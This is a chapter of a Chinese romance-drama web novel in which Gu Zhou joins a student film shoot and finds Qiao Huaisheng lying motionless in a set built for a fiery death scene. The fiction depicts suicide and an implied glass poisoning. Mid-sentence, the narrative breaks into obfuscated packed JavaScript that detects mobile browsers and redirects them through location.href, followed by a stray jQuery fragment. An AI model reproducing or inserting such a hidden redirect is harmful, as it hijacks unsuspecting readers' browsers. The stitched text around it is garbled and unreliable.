千桃万鹿 作品

8. 第八章

“乔淮生?他到底有什么好的? ”来人哼了一声,“真不明白为什么所有人都要捧着他?”


“老子最烦他那种假清高的样子,总有一天,我一定让他跪在他脚底下给我舔鞋!”


“哎哟,周少你喝多了吧周少,”旁边的人拉了他一把,“快快快,快扶周少进包厢里休息,别让他摔了。”


“经理,让人再送两瓶酒进来!”


“顾舟!”经理一挥手,没看到人,“哎,顾舟呢刚才不是还在这站着呢?”


“算了算了,你,你去送酒进去。”


啊——!!!


不过半晌,包厢里突然传来一阵尖叫。


之前在会所里过过生日宴的那位周少突然被救护车拉走了。


听说是自己在包厢玩嗨了喝酒的时候喝到了碎玻璃渣,连整个肠道都出血了。


他之前过来的时候就不是什么好东西,以让别人舔他洒在地上的酒取乐,现在自己喝酒出了事,也算是咎由自取。


“就是!真是报应!这种人就算是死了也是活该!”


众人议论纷纷的时候,顾舟刚从外面卸货过来。


他戴着一副皮手套,额角上还染着点薄汗,低垂的眼睫遮住过分冷峻的双眸。


“顾舟!你终于回来了,来来来!”经理一把拉住他,“你做事靠谱,你去带几个人,把包厢收拾一下。”


顾舟抬起眼:“我辞职了。”


“你说什么?”经理愣了下,“你忘了你奶奶的病了,你之前……”


顾舟转身离开了餐厅。


随后,将那双手套给摘下来,从口袋里摸出打火机,面无表情地点燃了。


火光映照着他的脸,那样锐利冷漠的样子。


简直和故事里的陈焰一模一样。


*


《白日焰火》新找来的男主突然出车祸了。


“什么?那他人呢?”


“人倒是不严重,听说只是崴了脚,但是对方是个八十多的老太太,你知道这种官司最难缠了,现在人被拽在医院根本动不了。”


“那现在怎么办?景都搭好了,整个剧组就等着开工了!”


“就是啊,这个场地本来就是学长借了一天才给我们的,明天这个景就要撤了,这要怎么拍?”闫玲记得团团冒烟,“现在去哪再找一个身形合适的啊?”


“你看那边,那个不是……”闫玲猛地冲过去,“顾舟?!”


顾舟手中拿着半沓传单,正将它发给旁边的人,闻言一抬眼。


“你怎么会在这里,学长不是说你有事来不了了吗?算了不管了,”闫玲一只手拉着顾舟的胳膊,“快快快,江湖救急!”


“我们的演员出问题了,现在旁边就你一个最像的,马上就是杀青戏了,帮帮忙帮帮忙!”


“嗯。”顾舟这才将手中的传单往旁边一放,仿佛他是因为偶然才出现在这里,“那好吧。”


“乔淮生呢?”


“学长?”闫玲四下看了看,“应该在布景那边吧。”


顾舟跟着望了一眼,视线搜寻着乔淮生的身影。


他以为,乔淮生应该会一眼看到他。


然后和当初一样,带着满心的炽热来到他的身边,只来到他的身边。


毕竟……他已经把自己变成陈焰,不是吗?


顾舟看了看自己的掌心。


“喏,”是闫玲将本子递给他,“这是剧本,学长新改了一点,给你。”


“最后一场戏不怎么需要露脸,你就站着对个口型就行。”


那人到来之前,顾舟只好抬手翻开本子。


最后一场戏是陈焰的死亡。


将最后一个伤害过自己的人杀死,陈焰在回家的路上,将身上所有的钱给了一个瞎眼的乞丐。


他看着乞丐将那些钱拿回去,看着他喜悦、道谢,亲吻……却在最后一刻,将乞丐所有的东西抢了过来——乞讨来的所有硬币,冷硬的馒头,晚上睡觉用的肮脏被褥……


他蹲下身,几乎是兴奋地等待着乞丐的痛苦与发疯,甚至已经将刀握在了手中,刀刃指过乞丐的脖颈。


可是乞丐只是平静地望着他。


他没有眼珠,有的只是空洞的,骇人的双目,于是那平静只是一种身体上的态度。


乞丐望着陈焰,在满目黑暗里望向这个满手罪孽的人,平和如同告解的神父,他说:


“先生,您平时一定很痛苦吧。”


陈焰手中的刀砰得一声掉落在原地。


“我嗅得见你身上的焚香味,您之前也是个热爱生活的人,是曾经失去过一切,所以才要看看其他人遭遇这些的时候,会不会做出和你一样的选择吗?”


“其实如果真的难受的话……”


那瞎眼的乞丐将手放在陈焰的肩上,温声道:“想哭可以哭的,先生。”


陈焰垂下头,想要将刚刚被自己扔掉的那枚硬币帮他捡回来,只是手抖了好几次,视线终于模糊。


一滴泪落在那枚硬币背面的花蕊上,陈焰直起身,将自己身上的手表、领针、戒指、钱包,统统摘下来,放在了乞丐的面前。


乞丐双手合十,躬身道谢:“愿上帝保佑你,先生。”


“太晚了,”他杀了那么多的人,才终于在一个乞丐这里等来一句话,陈焰说,“上帝不会保佑我的。”


顾舟翻页的手刹那停住了。


在乔淮生强颜欢笑的每一个时刻,在他一次次那样炽热又绝望地望着自己的眼神里,在他一次次逼问里,他想要的答案到底是


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861080|159432||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


什么?


他和他,到底谁才是陈焰?


在那个歇斯底里的晚上,他上楼的那一瞬间,错失的到底是什么?


“好了好了,我看那边差不多了,”闫玲说,“我现在带你去做妆造吧!”


“乔淮生呢?”


“学长他还在忙,等他忙完了就会……”


“乔淮生呢?”


“就在那……奇怪,”闫玲看了眼手机,“学长刚刚还在置景那边的呀,他还说那里有点问题要去看看的。”


“怎么现在突然说家里有急事让我们先拍了,还好最后一幕不需要……”


顾舟朝着闫玲指的位置看了一眼,瞳孔骤然紧缩。


自戕之人不允许见上帝。


于是陈焰在一个废弃的工地上放了一大堆易燃的材料,随后,让自己躺在了其中。


第六天,就在陈焰即将因为饥饿脱水而死去的时候,一个孔明灯落了上去。


承载着愿望的祈福,却在那一瞬间成了最好的助燃剂。


上帝在第七天创造了人。


陈焰在第六日的一场大火中如愿死去。


为了拍出电影的美感,最后的这一片是只为点火时的远景使用的,周围全是飘飞的红色丝带,如同巨大的蝉蛹般缠附在一起。


顾舟想起乔淮生日渐消瘦的身体,和那一瞬滴落在自己手心的,像是鲜血的红。


手中的剧本落在地上,猛地朝着那个方向跑去。


“哎!你干什么!学长说过不允许任何人靠近的!”


可是顾舟的手已经一把扯过丝带,狠狠往后扔了出去!


“你干什么!”闫玲扑上去想要去拉他,“这是学长设计的!你知道他为了这个电影做了多少努力吗?学长还说要让我们一定要送去参奖。”


“你不能因为学长换掉你你就……”


顾舟猛地回头看了她一眼,那眼底压着点红:“滚!”


闫玲浑身一震,手指瞬间松开,连牙齿都不自觉地在发着抖。


她本来以为拍戏那天顾舟拿着刀子扑过来的场景已经足够可怕。


此刻才明白什么是乔淮生说的——还不够愤怒。


她猛地后退一步,看着顾舟疯了一样扯开那些盘旋的丝带。


像是蔓延的鲜血一般的红色,围成一个茧,四周连成脐带,安全好似母亲的子宫。


一个人的来路与归途。


可是顾舟大力地扯开那张茧,扯坏的丝带磨破了他的手,狠狠地向后一拽!


嘀嗒。


血液滴落在鲜红的丝带上。


乔淮生静静地躺在其中,他穿着白衬衫,白色西裤,脸色洁白,嘴唇洁白,干净得好像一颗胚胎。


睫毛紧闭,安静得好似没有呼吸。